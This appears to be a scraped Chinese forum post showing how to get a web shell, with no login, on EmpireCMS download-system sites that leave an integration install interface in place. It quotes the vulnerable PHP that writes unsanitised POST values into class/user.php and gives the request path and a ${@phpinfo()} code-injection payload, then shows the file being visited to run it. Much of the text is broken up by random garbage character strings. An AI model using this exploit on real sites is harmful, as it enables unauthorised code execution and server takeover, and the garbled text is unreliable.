这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们% n& d1 L2 C' X6 E; A
! M( Q" U# B8 C: k% U( ~1 l' A0 W% A+ K0 C1 {
这是帝国的一套下载系统 如图" c, D2 S/ l7 _; p7 o' W% i# U
ps(不需要任何账户和密码,直接写shell)
9 X+ J7 [% d2 Q1 `! X2 V由于很多站是由于下载要整合discuz 等等一些论坛....
7 n+ u0 q) B8 v! C ! @, Z( d$ \, g8 ]( }$ e
而帝国他又有一个万能接口,如图 6 X2 N0 J7 f, D" o5 w
' m( ^ Z+ c9 t, z& Z3 ]
$ e+ r R' L# k( W" w而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码5 H' p1 m. Z5 y2 X. ]; c! [
% d# U1 m3 [# u1 v( N当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪* k9 x4 [6 l) X
9 z6 D: u! Y4 J9 O& Q* Q在data/fun.php中的15行
+ k. ]; G5 a6 u
% j0 R) v7 H7 U/ R6 |我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
& t! a; C2 @) t) _ J6 d9 l17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
J! i+ J/ Z p2 ^( _% U
8 k, b* h) h9 c0 O6 |# z1 ]) ]( S, W这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
G0 }$ P+ y) z2 v" z( h( {( i: ]. R2 p: y7 t& c) N7 w
他将传进来的变量进行了切割,然后赋给了$filetext
* e) v4 [. G9 D4 d
6 |, c6 x# H% D+ I1 Q% B3 y8 @然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
8 n1 ]+ b5 r" u7 e: X. q8 e8 k7 c+ Z9 P' I
我们看看写入的结果,随便填一个
! V0 H4 l# z4 w# z, }+ Y! @" n, E. C
6 D3 R$ `% n0 J: y" b9 _0 k5 I) m8 D; E5 @6 ~
1 M: l' \$ }, t. b7 |
8 B0 E1 T5 S! z. I+ |, ?
' B% o# s9 \" K6 W' d) i4 l
2 L6 A5 ?, n/ I' p6 L. \- R
$ @2 M6 k/ y: c; C* a9 |
/ T! `) F# T8 |
- Y, H. p: x5 w, @6 ~# o2 Y3 A# g" [! n; @3 l4 g
' A+ S! g& |# F/ \3 c& p" O" N+ z. m) z6 E/ V2 \6 P
w5 x7 N; q3 o. u0 X {+ I; k4 E% X( A
+ l- v) U2 a* I$ E$ g1 f
2 o5 A% {% x& V' w4 a, E
?. f5 q0 D- C k; G; s0 [7 y4 N. A) U7 Q
" C5 Y6 ]; M+ u( b- I
5 ]8 L8 I& l. {! |' g& s
所以我们淫荡点,写个${@phpinfo()}试试
* S* M7 o% U0 u* x: L然后访问以下class/user.php这个文件8 J/ w$ N7 R8 c6 R; B$ w
日了吧 " ^" Z1 v) }1 \3 k) \
0 w1 m+ `6 D y9 U0 I( W! z2 O0 k4 D" r
% @1 s, d U' G6 {9 x& j y
/ x5 o' W9 w9 Q( H6 ^& v7 |
+ v( p& W4 l8 ?0 A" j* a, t/ q# R& h
|